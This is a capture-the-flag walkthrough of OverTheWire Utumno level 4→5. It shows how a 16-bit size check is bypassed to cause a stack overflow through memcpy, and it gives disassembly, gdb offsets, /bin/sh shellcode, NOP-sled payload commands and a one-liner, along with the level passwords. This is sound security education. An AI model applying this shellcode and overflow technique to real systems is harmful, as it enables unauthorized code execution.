OverTheWire Utumno Level 4 → 5 tutorial!!
Login
Use the password from Level 3 → 4:
ssh utumno4@utumno.labs.overthewire.org -p 2227
# password: oogieleoga
Then move to the game folder:
cd /utumno
Task
Binary: /utumno/utumno4
- When run without arguments, it segfaults immediately.
-
With arguments, it:
- Parses the first argument with
atoi
(size), - Copies that many bytes from the second argument into a huge stack buffer via
memcpy
.
- Parses the first argument with
- There’s also a 16-bit check against the lower half of the parsed size (
AX
) to ensure it’s ≤ 63—easy to bypass.
Goal: overflow the stack to control EIP, then return into our shellcode placed inside the copied buffer.
Source Code (Disassembly Excerpt)
0x0804844b <+0>: push ebp
0x0804844c <+1>: mov ebp,esp
0x0804844e <+3>: sub esp,0xff04
0x08048454 <+9>: mov eax,[ebp+0xc]
0x08048457 <+12>: add eax,0x4
0x0804845a <+15>: mov eax,[eax] ; EAX = ptr to argv[1]
0x0804845c <+17>: push eax
0x0804845d <+18>: call atoi ; atoi(argv[1])
0x08048462 <+23>: add esp,0x4
0x08048465 <+26>: mov [ebp-0x4],eax ; save parsed size
0x08048468 <+29>: mov eax,[ebp-0x4]
0x0804846b <+32>: mov [ebp-0x6],ax ; keep low 16 bits in AX
0x0804846f <+36>: cmp word [ebp-0x6],0x3f ; AX <= 63 ?
0x08048474 <+41>: jbe 0x804847d ; if yes, continue
0x08048476 <+43>: push 0x1
0x08048478 <+45>: call exit
0x0804847d <+50>: mov edx,[ebp-0x4] ; edx = size (full 32-bit)
0x08048480 <+53>: mov eax,[ebp+0xc]
0x08048483 <+56>: add eax,0x8
0x08048486 <+59>: mov eax,[eax] ; eax = argv[2]
0x08048488 <+61>: push edx ; n = size
0x08048489 <+62>: push eax ; src = argv[2]
0x0804848a <+63>: lea eax,[ebp-0xff02] ; dst = big local buf
0x08048490 <+69>: push eax
0x08048491 <+70>: call memcpy ; memcpy(dst, src, n)
0x08048496 <+75>: add esp,0xc
0x08048499 <+78>: mov eax,0x0
0x0804849e <+83>: leave
0x0804849f <+84>: ret
Key idea: If we choose a very large size whose low 16 bits ≤ 63, the check passes but memcpy
still copies the full large size, smashing the stack into saved EIP.
Exploitation Steps
1) Bypass the AX check and confirm EIP control
Use 65536 (0x00010000
): AX = 0x0000
(≤ 63), so the check passes, while memcpy
attempts to copy 65536 bytes.
gdb -q ./utumno4
(gdb) run 65536 $(python -c "print 'A' * 65536")
# Program received signal SIGSEGV, 0x41414141 → RIP/EIP = 'AAAA'
Find the precise EIP offset by probing:
(gdb) run 65536 $(python -c "print 'A' * 65286 + 'BBBB' + 'C' * 246")
# Program received signal SIGSEGV, 0x42424242 → correct overwrite point
(In this run, EIP is hit by the 4 B’s after 65286 A’s; your exact offset may vary slightly.)
2) Drop shellcode + NOP sled and pick a return
Craft the second argument as:
[ NOP sled ] [ shellcode ] [ RET (little endian) ] [ padding ]
Example shellcode (/bin//sh
):
\x31\xc9\xf7\xe1\xb0\x0b\x51
\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e
\x89\xe3\xcd\x80
Probe the stack to pick an address inside your sled:
(gdb) run 65536 $(python -c "print '\x90' * 65265 + '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80' + 'BBBB' + '\x90' * 246")
(gdb) x/300x $esp-300
# ... lots of 0x90 ...
# sled & shellcode visible around 0xfffed660
Here, 0xfffed660
sits in the sled, so we’ll use \x60\xd6\xfe\xff
as our RET (little-endian).
3) Win
Final run:
./utumno4 65536 $(python -c "print '\x90' * 65257 + '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80' + 8 * '\x90' + '\x60\xd6\xfe\xff' + 'C' * 246")
$ whoami
utumno5
$ cat /etc/utumno_pass/utumno5
woucaejiek
Password
From my run:
woucaejiek
Quick One-liner
/utumno/utumno4 65536 $(python - <<'PY'
print '\x90'*65257 + \
'\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80' + \
'\x90'*8 + \
'\x60\xd6\xfe\xff' + \
'C'*246
PY
)
Troubleshooting
- AX check keeps failing / exits early? Use a size whose low 16 bits ≤ 63—
65536
works becauseAX == 0
. - No EIP control? Adjust the offset near 65286 and confirm with a marker (
'BBBB'
). - Shellcode not reached? Pick a return address inside your NOP sled (
gdb x/300x $esp-300
) and ensure it’s in little-endian. - Crashes before shellcode? Add a few extra NOPs after the shellcode to absorb slight address jitter.
- Quoting issues in the shell? Prefer Python heredocs or escape quotes carefully inside the subshell.
Congrats 🎉 You abused a 16-bit size check to drive a massive memcpy
overflow and returned straight into your sled + shellcode—clean and satisfying!
Thanks for reading!
Until next time — Otsumachi!! 💖☄️✨